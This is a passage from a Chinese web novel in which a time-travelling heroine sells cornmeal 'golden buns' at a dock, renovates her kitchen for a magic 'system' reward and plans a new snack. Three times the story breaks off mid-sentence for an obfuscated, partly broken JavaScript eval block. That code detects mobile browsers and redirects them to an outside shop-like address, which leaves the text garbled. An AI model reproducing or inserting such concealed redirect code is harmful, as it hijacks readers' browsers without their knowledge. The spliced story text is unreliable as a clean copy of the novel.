“这不错！咱们把剩下的玉米面都做起来，一会儿就卖着试试。”乔三叔把剩下的那一半塞进口中，已经开始摩拳擦掌、迫不及待。 三人分头合作，没用多久，便全部做完了。 “叔、婶，”黎长安道，“我给这窝窝头起了个新名字，叫金窝窝，听起来喜庆点、富贵点，咱们搬出去卖，也蹭个好意头。” “行，行，你捣鼓出来的，你拿主意！”乔三婶笑呵呵的，和三叔一起一人一个蒸笼，搬到了外边的木桌上。 正巧，有几个背着行囊、看上去准备登船的人正要从摊位前路过，黎长安赶紧揭开盖子，香气顿时飘散开来，加上那黄灿灿的漂亮颜色，顿时引得好些人好奇侧目。 她清了清嗓子，也不怯场，大声吆喝起来： “刚蒸好的金窝窝！加了肉汤的玉米面金窝窝！个大顶饱，有滋有味！方便携带，能耐储存！2个5文钱！黄澄澄！金灿灿！金疙瘩一样的金窝窝！好看又好吃嘞！” 4. 赚钱啦！ “金窝窝？那是什么？” “没听说过……但是闻着挺香啊，看起来也好看。” “她刚才说什么？金疙瘩？倒是有几分像，还真讨喜。” 那几个人果然被吆喝声吸引，脚步一转，往摊前走来。 “小娘子，你方才说这个怎么卖？”其中一个探头使劲闻了闻。“5文钱2个？玉米面做的这个价贵了点吧。4文行不行？人家杂面馍馍都1、2文一个的。” 来的第一个客人就想讲价，黎长安听了反倒高兴。有道是“想压价的才是真买主”，这说明对方有兴趣。 “这是加了肉汤的呢，吃起来有些滋味，不配小菜也好吃。”黎长安笑着介绍道，用筷子夹起一个，翻过来给他们看。“这中间有个窝窝，四周厚薄均匀，若是备了小菜可放在这中间，吃起来很方便的！” “几位客官看这个头，”她示意几人看桌上的蒸笼，窝窝个个大小匀称，光滑漂亮。“这么大，以你们的饭量，一顿两个定能吃饱。我看几位是新品的第一批客人，不如试吃一口？” “好啊好啊，还能试吃？” 几人闻言，眼睛顿时放光，把摊子围得更结实了。 所谓舍不得孩子套不着狼。这几位要出行的客人明显存在购买需求，若是口味合适加上人的从众心理，说不定一人想买就会带出两个三个、有可能一次性就卖掉好些呢！ 黎长安这么想着，将一个窝头分成几份，递给他们。 “现在刚蒸好，正是最好吃的时候。回头带上船凉了也没事，口感虽会变硬点，但和饼子一样，都是能放几天的。” 几人吹了吹，纷纷将自己那块放入口中。 “诶，是和普通的玉米饼子不一样啊。”有人感叹道。 “确实，味道更丰富了，还真是加了肉汤？” “嗯……这倒是新奇。” 最初那个想讲价的这会儿也不讲了，见这金窝窝味道确实还不错，当即就冲黎长安道：“小娘子给我包两个……不，包四个吧，正好我才在陶记卤味买了酱豆干，还没配干粮呢。” “也给我来四个！每次都是烧饼馍馍，这回也换个口。” “我来两个吧。” “我也要两个！” 果然，有了第一个愿意购买的客人，其他几人也被带着下了单。反正也不贵，与其买那些吃腻了的，不如试试新口味。 居然一下就卖掉了这么多！ 黎长安笑得更灿烂了，一边应着“好嘞！”一边用胳膊肘戳了戳愣神的乔三婶。 “啊？”乔三婶被这么一戳才回过神来。 这丫头三言两语的，居然一下就卖得只剩四个了？ “婶子，我不会包，你和叔帮帮我吧。”黎长安小声道。 “哦哦哦。”乔三婶连忙又拉拉乔三叔，两人拿着之前洗好晾干的芦苇叶包了起来。 不同于黎长安这个“外来户”，乔氏夫妇自然是包得又快又好。黎长安一边把包好的食物递给客人，一边笑盈盈地大声道： “多谢客官，祝客官一路顺风顺水，行好运，发大财！日后也赚个金疙瘩回来！” 她清亮的嗓子一唱，不仅周围人侧目，几个客人也被哄得喜笑颜开——不过是买个几文钱的干粮，竟也有彩头！ “哎呦，这小娘子可真会说话！” “借你吉言，借你吉言了！” “你这小娘子不简单，只怕我们回来时，你的生意已做大了！” 几人乐呵呵的，提着包裹离开了。 黎长安：什么叫情绪价值？这就是情绪价值！一句吉祥话，能叫人开心一整天，有了实惠还得了面子，可划算的很。有了这样的情感联系，客人能回头的概率可就大大提升了~ 这几人一走，桌子面前就又空了出来。 方才有其他人也注意到了这边，可惜被那几人挡得严实。本想等人散了再来，结果一看，怎么他们每个人都买了啊？这蒸笼，怎么一下就快空了？ 有这么好？那我也得试试！ 于是，也顾不得许多，上来就比出两个手指：“我也来两个。” “最后这两个是我的！老板钱在这儿！”很快，又一人冒了出来，“啪”一下把铜板拍到桌上，抢下了最后两个。 这么快……就卖完了？ 乔氏夫妇交换了一个有些发愣的眼神，但很快又变成了抑制不住的喜悦，手上动作不停，把这两份也包完了。 黎长安把包裹交到客人手上，同样祝他们好运发财，又对其他围着的人道： “实在对不住，今日第一天做，只做了这么十来个。客官若是有兴趣，烦请明日再来吧。” “好吧，那就明日。明日多做些啊。” “哎，明日我就不在这儿了，算了算了，不过是口干粮，我还是换别的吧。” 人们感叹几句，各自散了。 - 黎长安和乔氏夫妇把蒸笼搬回后厨，从腰间摸出了刚才收的四十文。 “婶子，方才收的这笔钱，我可以暂时先留着，做明天买玉米面的本金吗？如果明天也能卖完，它就能变成150文，除开今天的本金12文，利138文。你们拿六成也就是83文，我留55文做日后的本金。” “我们怎么能拿六成！”乔三叔忙推辞：“做法是你想的，买卖也是你招呼的，我们就是在一旁帮帮忙。你知道那些力工一天赚多少吗？活少的时候30多，生意好的时候也就50多呢，今天下午就这么一会儿咱们净赚28文，很厉害了，是你有这个脑子啊！” 黎长安摇了摇头：“叔，首先呢，本金是你们的，所有的店面厨具是你们的，让这个金窝窝更好吃的肉汤，也是你们熬好现成的。这不值得拿大头吗？” “而且我觉得，这个利润还不足。咱们若想赚钱过好日子，可不能满足于这2倍多的利润。” “2倍多……还不行啊？”乔氏夫妇对视一眼，“已经挺好了吧。” “是挺好的，但我觉得还可以赚得更多。”黎长安道。 “叔叔婶子的面很好吃，在这里经营了这么多年，又有口碑又稳定，是个不错的营生。但二位肯定也知道，这赚的是份辛苦钱，这里的大多数人不舍得花多少钱来吃饭，若是想把价提上一提，客人只怕就去吃别家了。你们天天早出晚归的，付出十分的辛苦，利润却不够丰厚。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491385|202246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “但你们看那些酒楼茶楼的东家，环境又好，又不用怎么劳动，活计雇人来做，自己躺着收利就好，还有闲听曲遛鸟的，你们不想过这样的生活吗？” “哎呦！这么好的日子谁不想过呀！”乔三婶乐得拍了黎长安的胳膊一下。“那也得过得上呀！人家家里有钱，开得起来，我们？也差太多了吧！梦里想想倒是可以。” “婶，人家也不是一开始就是大酒楼的。我们完全可以从小食铺做起嘛，”黎长安道：“叔的腿脚不好，这么长时间站着多辛苦啊。婶子也是，这么多年没怎么休息过吧？咱们从现在开始，规划一个可以让你们不那么累，能舒服点养老的生意不好吗？” “好，好，”乔三叔拉了拉乔三婶的袖子，笑呵呵道：“黎丫头这是为我们着想呢。先听听呗。你看她赚钱那么快，说不准还真能带我们过那种日子。” “真的能，”黎长安保证。“我是这么想的，码头的生意呢，卖不上什么价，但适合积攒本金，我想借着叔叔婶子的地方做点小买卖，一方面给你们帮忙，一方面赚到的部分按我四你们六来分，也是给你们加份收入。” “等有点本金以后，我想去做有钱人的生意。他们手头宽裕，对银钱多一点少一点没那么敏感，我的价自然能定得更高一点。” “至于码头这边，你们若是觉得我的方子不错，可以雇一个人来做，到时候除开工人的工钱，其他的就都是你们的利润了。” “日后，我若是做得顺利，就能把叔叔婶子接出来，到环境更好的地方再置铺面，最好是能让二位坐着干活。现在码头的这个，可以连着方子铺面都转给他人。这样一来，你们过得更舒服，熟客也还能吃上同样的味道，不知你们觉得这样可行？” 乔三婶有些犹疑地看了看乔三叔，又对黎长安道：“若是真能这么理想，当然是好的。说实话，我们这些年确实觉得，年龄上去了，身体也容易疲惫。我俩私下里说过，以后年纪要再大了，干不动了，可怎么办……家里幺儿到时候一个人养好几个长辈，别说谁家姑娘肯嫁，自己怕是都维持不了。” 幺儿？ 黎长安突然意识到，自己穿过来后，还未曾问过他们家中的情况。 “冒昧问一句，婶子家里孩子多大了？除了孩子和三叔的大哥，还有几口人？” “还有你三叔的爹娘。我和你三叔有个大女儿，已经嫁去外地了，幺儿现在才六岁。上头二哥走得早，大哥又卧床做不了活计，爹娘年纪大了，就在家中照顾他们，帮我们做些清洗下水的活，也是没有什么收入的。所以……若是你真有法子让我们多赚点，我们不怕辛苦，就想着趁现在都还康健，能尽量多攒些。” 黎长安不知道心里是个什么滋味。 之前王婶子说乔三两口子“养着一大家子还养着她”的时候，她还没有多么深刻的感受。 可是今天一天，她是真切地受着二人的照顾，又亲眼见到他们的忙碌辛苦。如今再听闻这样的情况，越发觉得他们实在是太不容易，又太坚韧了。 这么好的人，应该值得更好的生活。 要搞钱，一定要多多的搞钱。 黎长安如是想。 5. 系统的礼包 这日，黎长安自然是跟着夫妇俩一直做到收摊的。 随着夜幕低垂、灯火初上，码头上来往的人也渐渐少了起来。等到做完晚饭的生意，三人将没卖完的一点面煮着吃了，便收拾好铺面和桌椅板凳，推着车往家走去。 延祥镇不比城市，天黑后没有什么大规模的夜市。但街边仍有许多人，晚饭后或各自串门消食、或聚集着听说书讲古，沿街也有小摊小铺，卖些夜宵或者日用小物，娱乐生活倒也丰富多彩。 黎长安自然又是东张西望、兴致勃勃地打量了一路，最后帮夫妇俩将车推到乔家的院子外，婉拒了进门歇个脚的邀请，约好了明早直接去面摊找他们，才回了隔壁的红花巷。 晚间的巷子只亮着很少的灯火，看不太清楚路。 她借着左右邻居的光摸回了自家，本想着好好歇歇，却在推开门后的瞬间被浇灭了心思——白天瞧不出来，但这破房子晚上怎么看着这么像鬼屋啊！ 她只觉得自己起了一身的鸡皮疙瘩，若不是还有邻居家的动静和光亮，她恐怕真的要怀疑，自己是否还在人间了。 没办法，她硬着头皮，转身去敲了邻居的门。 出来开门的是个年岁和她相仿的年轻姑娘，圆圆的脸蛋、微翘的鼻头，很讨喜的面相。 “诶？黎长安？下午还听我爹娘说呢，你果然好了？”那姑娘一瞧见她，便说道，“那你现在还记得我吗？我叫姚青青，小时候就是你邻居了。” “呃……”黎长安冲她露出一个抱歉的笑容。 真是对不起，我的记忆在这里完全是零。 “好吧，没关系，”姚青青见她这么笑自然也明白，耸耸肩没再多说什么。“有什么事吗？” “请问你家有多余的灯笼或者油灯吗？我回来的晚，家里实在看不清。” “有的，你等着啊。” 姚青青转身回去，没过多久提出来一盏有些老旧、但火光很明亮的灯笼，想来是给了十足的灯油。 “你先拿去用吧，方便时还回来就行，我家暂时还用不到。” 黎长安道过谢，提着灯笼重新回家，终于觉得比方才强了点。但就她这么一个人，心里还是有点毛毛的。 “系统？” 她内心呼唤，迫切的需要有个声音陪她说说话。 “在呢宿主，你今天的表现很优秀哦。” “是吗？那是不是有什么奖励啊，我看别家系统都发的，新手礼包什么的。”她一边说着，一边壮着胆子，在屋里找到了一盏油灯，用灯笼里的火点上了。 “有的，”系统道，“其实早就该给新手礼包啦，但你一整天都很忙碌，所以我就没有打扰~现在我们可以好好沟通一下了哦~” “那都有什么呢？”黎长安迫不及待。 “请宿主先找到厨房哦。” 厨房？莫不是给我准备了什么好食材或者灵泉水？ 黎长安琢磨着。 很多小说里都有这种设定，能够使人身体健康、百病全消的水，加一点点进饮食里，久病的富家太太或者老爷少爷一下痊愈，然后给一笔大大的酬金。 要真有这样的金手指，她的本金积累进度可就能突飞猛进了。 嘿嘿，想想就好爽哦。 可惜，黎长安转了一圈摸到厨房，看到的只是比她的卧室更为糟糕的画面。 她把灯笼提得高了些，好让光线更大范围的照亮这片区域。 这里空间不算小，灶台橱柜等一应俱全，是一个普通人家的厨房布局，应该从前也是不错的。 可是自从原主的父母过世后，负担繁重的乔氏夫妇把她养活就已经很吃力，自然不会有多余的精力，顾得上一个不会有人用的厨房。 于是这里只能逐年荒废，处处积着厚厚的灰尘，蛛网也随处可见，风一吹，便随者气流飘飘荡荡，更叫人心里发毛了。 黎长安把刚迈进去的一只脚收了回来：“你给我的礼包真的在里面吗？” “不在哦。”系统嘻嘻一笑：“我还没发呢。” “那你要我过来看什么！？？” “咳咳。看厨房呀。” 系统顿了顿，没再吊着她的胃口。 “你的新手礼包是一整套很——好的厨房用具。可是呢，我的宝贝很珍贵，我可不愿意让它们呆在这样的环境。所以，只有在宿主将厨房收拾得干净明亮又卫生的情况下，我才能发放哦。” 哦……这样，倒也是很合理的。 毕竟就这么个环境，要让她把好厨具放进去，她自己也心疼。 可惜，她今天刚穿过来就干了一整天的活，明天还要早起，实在是干不动了。更何况厨房里还有部分霉坏的墙皮、沉重的大缸，是她自己一个人无论如何都弄不动的，只得放弃改日再来。 今日还是把灯笼还回去，早早歇息吧。 - 次日，黎长安起了个大早。出门时甚至天还没有亮。 想想原世界的她总是赖床晚起，如今竟然也能如此勤奋，还真是环境磨人、处境改人。 她在早市上把昨日赚到的钱全换成了玉米面，也没耽误时间闲逛，直接去了码头。乔氏夫妇已经到了，还给她带了早饭，是白菜馅的杂面包子，应该是他们自家做的。 包子已经有些凉了，杂面口感也不如现代的柔软，但黎长安还是三两口囫囵吃完，又推着车帮着去水井打水。 早晨时间紧张，所有的准备工作都得在客人们来之前做完，她必须争分夺秒。 - 终于，码头上人时，面摊也开始了今天的营业。 原本黎长安计划着只在两餐间隙卖窝窝头，这样时间松泛一点。没想到，昨日一推出便超出预期，她便干脆从一早上就备好。 早晨的力工们都是在自家吃好了出来的，所以面摊要做的主要是上下船的人的生意。下船的人，惦记着吃口热的、汤汤水水的，就会选择粥、面一类；而上船的人想着方便，就会更青睐干粮。 这会儿外面的桌椅都坐了人，黎长安自然不能出去卖。不过遇上那些背着包裹进店的，她都会顺便推销一句，也卖出了一些。 到了午间，用餐的需求就多了很多，毕竟很多人是不方便回家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491386|202246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃的，这也是面摊生意最好的时段。黎长安顺利地卖完了所有的窝头，又抽空补了一些玉米面，下午接着卖，还特意留出来一部分，等着晚上和乔氏夫妇带回去。 给乔氏的，自然是为了方便他们留给家里的几口人。而自己的一份，则是要送给昨日的那位王婶子。 虽然玉米面不是什么贵重食材，送的数量也不算太多，好歹表示一份自己的心意。 - 晚上回家时，黎长安在街边的杂货摊买了一整套的打火设备。包括一块火镰、几块火石和一包火绒，还外加了一个白纸糊的小提灯，做工不怎么样，但胜在便宜，一共花了8文钱。 毕竟她家中无人，可不好意思每次回来都问邻居家借火。 一到家，她就趴在院里的地上，迫不及待地开始尝试。她以前从来没用过这么原始的生火设备，但好在还有系统指点。 终于，几次之后，黎长安成功点燃了火绒，又用火绒点着了灯笼，四周又亮堂了。 呼——还真不容易。 等她有钱了，一定要买火折子。 黎长安这么想着，带着窝头提着灯笼，去找王婶子。 王婶子这会儿正在院子里陪她家小宝玩，院门没关，黎长安一过去便见着她坐在矮凳上，面前一个六七岁的小姑娘，俩人正在斗草玩儿。 黎长安轻叩了下院门，说明来意，递过去一个布包。 “婶子尝尝，这是我自己做的。用的是玉米面，加了些肉汤，名叫金窝窝。现在凉了有些硬，不过明早上蒸笼一热，就又和刚做好时一样了。” 王婶子眉毛一挑：“呦你还真给我送了啊，这么快！我本想着怎么也得十天半个月后呢！你那家里现在还能做饭？” “做不了的，还没收拾呢。”黎长安露出个无奈的笑。 “我这两天在乔三叔他家的面摊上帮忙，借着他们的地方做的。” “哦，这样。行，我收下了，谢谢啊。回头你那屋要打扫的时候喊我一声，我跟你叔去搭把手。你瞧你那小胳膊小腿，肯定啥都搬不动。” “啊，那可太谢谢婶子了！”黎长安惊喜道。 她之前怎么忘了呢？王婶子这个体格，力气一定不小。还有她丈夫，上次听着说是个木匠。若是重修厨房，搭案板换窗户什么的，正需要木工师傅。若请他们帮忙，厨房的事儿可就好办多了！ “我本来是为着鸡的事儿过来赔礼的，这下反倒又要麻烦婶子了。不过我确实是真需要帮忙，那就先道声谢！回头再做了好的吃食，我还给婶子送。”她笑道。 “行，但我先说好啊，我先尝尝这回的，好吃你再给我送。不好吃那还是算了，还不如回头送我点菜啊米的。” “成！都看婶子想要什么。”黎长安笑眯眯的应了。 这个王婶子，倒是真直接，但也很可爱。 可惜她现在没积蓄，只能送些吃食聊表谢意。但等攒到足够的本金了，她想去拜托王婶子，找她丈夫给做一个木餐车。到时候，她要推着这个餐车去摆摊，换着花样的卖小吃。 嘿嘿，想想就开心。 6. 厨房已更新 发放成功 此后的一段时间，黎长安跟着乔氏夫妇，日日早出晚归的在码头卖金窝窝。 中途，她新增了野菜和红枣两种口味。因着码头卖甜口的吃食少，红枣的受欢迎度甚至一度越过了加肉汤的初始版本，又为他们增添了一笔收入。 黎长安坚持将所得的六成分给了乔氏夫妇，自己只留四成。除开置办些基础日用的花销，算下来也攒了有一千多文钱，是一笔小小的启动资金了。 她觉得，是时候让其他人来接手这金窝窝的生意，自己则可以腾出精力，去开发那更赚钱的买卖。 当然，具体如何决定还要看乔氏夫妇俩。 为此，她找了个空当，特意询问二人的意见。 能增加收入的事情，乔氏夫妇当然同意，只不过找谁来做倒是个问题。 “我觉得周娘子不错，她人又热心，又细致，做这个应该没问题。”乔三叔道。 可乔三婶脸却皱了起来：“她是不错……可她那个婆婆，唉，也是拧巴得很，也不知同不同意放她出来做生意。” 黎长安有些好奇：“周娘子可是那日专门跑来面摊，给你们递消息的年轻娘子吗？她家怎么了？” “她家郎君是个读书人，她那个婆婆啊，为此拿乔得很咧！” 乔三婶解释道，鼻子哼着气，自以为隐晦的翻了个白眼。 “天天就是读书人清贵……读书人了不得的。原本她是不同意儿子娶周娘子的，就想等着高中往上攀附呢！” “偏偏呢，歹竹出好笋。小夫妻俩打小就认识，他儿子就只认这个姑娘做媳妇，也是闹了好一阵，最后以死相逼才把人娶进门的。” “但周娘子的娘家本来也不富裕，嫁妆嘛肯定是没有多少的，结婚几年肚子又没动静，她那个婆婆就横挑鼻子竖挑眼的，越发的看她不舒服。” “诶，那这不是很合适吗？”黎长安把手一拍，“咱们请周娘子来做，她又有份收入，又不用老在家受婆婆的气，一举两得呀。她能往家带钱了，她婆婆看在钱的份上，以后也不好怎么难为她了。” “唉，问题就在这里。读书是个很花钱的事儿，他家又不是什么富户，也就是堪堪维持。他儿子常年不在家，一边念书一边抄书卖字什么的挣钱，虽说用不着家里的，但也余不出几个子来。家里就靠着过世的老头子留的遗产生活。” “但读书这种事，谁知道读到什么时候去啊？遗产就那么些，又不会变多，偏偏那做婆婆的拎不清，觉得读书人清贵，儿媳妇出去找活计会给她丢人！” “嘿，清贵！清贵能当饭吃啊！”乔三婶又哼了一声，可算是说舒坦了。 “要能把周娘子请来当然好，我们不开工钱，一样按分成来，有钱大家一块儿赚，但这不是怕请不来嘛！她婆婆手里攥着钱，一面是伦理孝道，一面又是经济来源的，把周娘子掐得死死的！” 这倒是有些麻烦。 黎长安细眉微蹙，思忖起来。 以她婆婆的观念，码头这等“不清贵”的地方，恐怕是肯定不会放人的。若想帮周娘子增加份收入，也许要等以后生意好起来了，接到自家后厨做不露面的活计，又或者做个幕后的管事娘子，才更容易让她婆婆接受。 “除了周娘子，叔叔婶婶还有其他的人选吗？”黎长安问道。 “要找肯定是能再找着……”乔三叔和乔三婶对视一眼。“但出于人情，周围相熟的街坊里，她确实最合适。人又细致，手又巧，又没孩子要带，接出来还能躲躲她家那个老——” 乔三婶用胳膊肘捅了乔三叔一下，他及时地把话咽了下去。 夫妻俩肯定私下里给那不好相处的周婆婆起什么难听的外号了。 黎长安只装看不见。 “既然如此，那就还是试一试吧，看看能不能请到周娘子。” “二位可私下里先问问周娘子自己的意思，如果她愿意呢，我给你们出个主意，试试这样能不能说动她婆婆。” 她凑到乔氏夫妇跟前，轻声嘀咕一阵，听得二人连连点头。 “成，我们就这么去说！” “那等消息的这几天，我想先告个假。我计划着雇人把家里清理一番，以后也好用。”黎长安道。 “哎呀，这哪需要雇人！”乔三叔想到黎家那个模样，有些难为情的在围裙上搓了搓手。“这些年也是我们实在是顾不上，平日没帮你收拾收拾什么的……哪天收了工，我们一起去弄弄，花不了多少功夫！” “就是就是，哪用得着花钱呀，还是攒着吧！”乔三婶也道。 “叔叔婶婶哪里的话，”黎长安忙拦道：“你们养活我都挺不容易的了，哪能连房子的维护也指望你们！这次不是简单的收拾，是我想托王婶子的丈夫，找些相熟的师傅，把那厨房好好重新修整一番，以后也好在自家做些吃食，方便去别地招揽生意。” “这样啊……那，那我们是不会的，确实得另找人。” “是呀，二位就别替我操心了。这几日我就先不过来了，等家中处理好了，我再来摊上找你们。” - 黎长安和乔氏夫妇说定此事，晚上便在回家的路上采买了一大包米面粮食，又加了些麦芽糖块，次日一早，便拎着东西，敲响了王婶子家的门。 说明来意后，王婶子很爽快地答应了。正巧，她的丈夫王叔也在家，细问了一些要求后，叫她回去等着，等他寻了人来，直接上门。 黎长安预付了200文的工钱和100文的材料钱，便先回家做些简单的前期工作——分类整理原主的锅碗瓢盆。 她拿了干净的帕子掩住口鼻、包住头发，又用盆装了水，洒在房间各处降尘，然后将所有能搬动的东西，都一批批往外搬。 发霉的、太破的这种分一堆，肯定没法用了，过会儿要清走。那些洗洗还能用的再分一堆，先留下来，能省则省。 过了约莫半个时辰，王叔带着一个瓦工和一个杂工来了，后边还跟着王婶子。 “这是瓦工牛师傅，还有杂工小刘。”王叔介绍道。 “本来需要两个杂工的，但你王婶力气大，这活也干得，这笔工钱你就让她赚了吧！”他嘿嘿一笑。 “那当然行啊，我信得过王婶。”黎长安笑道，转身回屋拿了一叠灰灰白白、但整齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491387|202246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净的布出来。 “一会儿灰大，这是我用旧衣洗净了裁的，诸位遮一下口鼻吧。” “不用不用！”牛师傅连连摆手：“戴这个太不舒服了。没事啊，我们都习惯了。有灰时晓得避的。” “那厨房好久没用，有些地方已经生霉斑了。”黎长安坚持着，上前一人塞了一个。 “而且那些灰尘碎屑什么的吸进去，对身体不好，以后还是多少加一层防护吧。年轻时还能扛，但常年这么攒着，以后扛不住了再花一大笔药钱，多不划算。” “你说的是真的？”推车的杂工小刘是个壮年小伙，闻言从后面探出个脑袋：“我确实有咳症，这是吸灰落下的毛病？我一直以为是活干多了身子虚了！” “我汉子干完活回来是常说嗓子疼，”王婶子也道，“但漱口后再多喝些萝卜水也能好啊？” “这只是一时的缓解，如果不保护好自己，晚年还是要生病的。”黎长安解释道。 王叔和牛师傅闻言，对视一眼，没多说什么，默默地戴上了巾子。 他们比那年轻杂工多些经验，也见过前辈年老时的境遇——一身的顽疾，无非是熬着日子。 但做这个行当的，一辈子辛劳，到老了谁不喘两声？从前只当是劳碌病，倒没想过有这样的原因。 不论这小姑娘说的是不是真的，还是先照着学吧。 王婶子和小刘见他们都戴了，自然也有样学样，武装了起来。 “行了，那这就开工吧！”王叔见众人都准备好了，招呼一声便往厨房去了。 几人先将黎长安搬不动的柜子、大缸什么的全部挪到屋外，然后按分工各自忙碌起来。 王婶子扫净了地面、清理了灶膛、帮着王叔一起拆除了老旧的木案和窗框； 牛师傅用竹铲刮掉了霉坏或者松散的墙皮，抹墙面、补裂缝、修土灶； 杂工小刘推着车子，一趟趟地运走废料、又帮着挑水、和泥、刷洗； 王叔则用带来的新木料做案板、搭架子、修窗户。 工程量虽然大，但几人都效率极高。黎长安给他们打打下手送送饭，五人一起从天亮干到天黑，终于在晚饭时分顺利验收了一个简单朴素，但干净整洁、功能齐全的新厨房。 已经很好了！ 她满意地四处打量，摸摸这儿又瞧瞧那儿，对着几人连声道谢，又一人塞了一份市集上买的面饼和炒黄豆，将他们送出了门。 几人赚了工钱也拿了答谢，自然是乐呵呵的。黎姑娘为人和善不难为他们，又多有关心照顾，再没有比这更好的雇主了，于是纷纷叮嘱黎长安，以后有活再来叫他们，便也各自散去。 此时，安静许久的系统又冒了出来，依旧是那个甜甜的声音。 “宿主，恭喜你的新厨房已通过系统的审核。虽然马马虎虎吧，但基础要求已经满足，新手礼包已发放。请查收并用心使用哦！” 砰——砰——砰—— 黎长安顿时觉得，自己的心中燃起了五颜六色的、成片的烟花。 她迫不及待地转身回家，关上门，提着裙子便向厨房跑去。 7. 芝麻薄脆 一度破旧的厨房此时已经焕然一新。 两个相连的土灶，灶面抹得光滑，里面正放着色泽乌黑沉润的大铁锅。一旁的墙面修补齐整，多出了些钉子，在顺手的地方高低两排挂着炊具，锅铲、漏勺、竹刷……尺寸用途，一应俱全。 灶旁连着的，是一张备菜用的宽大桌案。案子的木料是王叔给挑的，不仅结实耐用，颜色和木纹也十分漂亮。贴墙处则摆好了一排带盖的小巧陶坛，用来装盐、酱、醋等各味调料。 菜板和各式刀具自然也已齐备。 黎长安一个个看去，那些刀用料上等，通体泛着匀净的铁色。刀背厚实，刀刃又磨得薄而利，在火光下一晃，闪着锐利的光。 桌案下，黎长安特意让王叔多加了一层，留着储物。此刻已摆满了竹编的筐子，虽是空的，但排得争争齐齐。 厨房里原先的大橱柜也在擦洗后搬了回来，贴着另一侧墙摆放。 黎长安暂时没钱换它。好在虽然旧了点，擦洗干净却依然是个好柜子，没腐坏没生虫，也就这么接着用了。 她拉开把手，里面是各种其他尺寸的中小型坛子和碗碟餐具、木斗量勺等杂件小件。五花八门，什么用途都替她考虑到了。 此外，墙边还有水缸、腌菜缸、木架子、柴火垛等等大件，林林总总，不一而足。 环视一圈，黎长安实在想不出自己还缺什么了。 整修后的厨房动线顺畅、分区明确、用品齐备，已经是她目前能拥有的最好的条件。 “系统啊，”黎长安小声叹道，“谢谢，这个礼包太——好了，真是超出我预期的好！” “嘿嘿，”系统笑道：“所谓‘工欲善其事必先利其器’，我也不能什么都不干，就把你拉来这个世界吧。新手扶持必须有！一定要加油哦。” “一定，不会叫你的宝贝白费的。”黎长安答应道，又话头一转：“我记得刚穿来那天，你是不是说过会成为我的导师和助手？” “是呀。” “那接下来，你还会给我提供额外的帮助吧？” “没错呢！除了平日为你答疑解惑，本系统还能在你的贡献条积攒到一定程度时，为你送上稀有菜谱等各式奖励哦！” “诶？还有进度条吗？！”黎长安眼前一亮。“这不就能很直观的看到回家进度了？我现在有多少贡献？” “很抱歉宿主，虽然你制作了这个世界没有的窝窝头，可是影响力还是太小啦，现在贡献只有约等于无的那么一点——点哦！”系统遗憾道。 “不过你这段时间都处于累积本金的阶段嘛，可以理解。现在有了本金和全套装备，可以考虑多推出新的美食哦！” “这样啊……好！就从明天开始吧，我要做新品了！” - 次日一早，黎长安去早市上买了些基础材料，送回家后又再次出门，去了一趟成衣铺。 古代不比现代，做衣服大多是要买料自己做。若想买成衣，价可要贵上一些。 她之前攒下了一千多文本金，整修厨房花去了三百，剩的就不算很多了。此时又花笔钱买衣服，并非是不合时宜的爱美，而完全是生意所需。 先前乔氏夫妇养着她的时候，经济拮据，给她穿的自然不可能是新裁的，都是他们已经嫁人的大女儿穿过的旧衣。经过多年清洗磨损，已经不怎么体面了。 这样的衣服穿去码头做营生，没什么问题。但若想赚消费能力中上的那批人的钱，只怕还得靠衣裳包装一番，才显得靠谱卖得上价。 她跟人打听过，若是铺子里量体裁一身，工期得要三天左右。可她等不得这个时间，考虑一番还是决定咬咬牙，不能省这笔支出。 贵点就贵点吧，差价也许三天就赚能回来，还有多的呢！ - 成衣铺虽然名为“成衣铺”，但主要做得是布料和裁衣的生意，现成的成衣并不多。 但幸好，黎长安在里面找到了一套青色粗棉的，尺寸差不多合适。衣服没有任何刺绣装饰，样式也家常。但针脚细密，浆洗得挺括，穿上去确实整齐体面，整个人的精气神都看着更好了。 为了这个行头，她的小金库里又划走了将近400文钱。 好贵。心疼。 黎长安默默流泪。 - 抱着新衣服回了家，时间还不到晌午。她简单地给自己填饱肚子，开始准备下午要卖的小零嘴。 她准备做些芝麻薄脆。 据她这段时间的观察，镇上的人们若是吃面食，大多是饼、面、包子馒头一类，做法上并没有太多的花样，区别无非是材料用便宜的杂面还是贵点的白面。 至于甜口的零嘴，除了糖块、糕团、果脯、甜汤等大类以外，也没有太多的选择。 最有钱的那些人，也许自家的厨房有些独特的甜食方子。但还有一大批中层的居民，没有专门的厨子，市面上能够买到的也就是这些。 黎长安决定先做这个群体的生意试试。 